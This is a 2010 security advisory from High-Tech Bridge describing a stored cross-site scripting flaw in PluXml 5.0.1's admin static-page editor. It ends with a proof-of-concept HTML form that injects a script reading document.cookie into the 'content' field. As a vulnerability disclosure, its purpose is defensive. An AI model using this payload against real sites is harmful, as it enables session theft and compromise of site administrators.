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XSS vulnerability in PluXml

Vulnerability ID: HTB22634
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pluxml_3.html
Product: PluXml
Vendor: PluXml Team ( http://pluxml.org/ ) 
Vulnerable Version: 5.0.1 and probably prior versions
Vendor Notification: 29 September 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/core/admin/statique.php" script to properly sanitize user-supplied input in "content" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/core/admin/statique.php"; method="post" name="main" >
<input type="hidden" name="id" value="001">
<input type="hidden" name="content" value="<p><?php echo 'Ma premi&egrave;re page statique !'; ?></p><script>alert(document.cookie)</script>">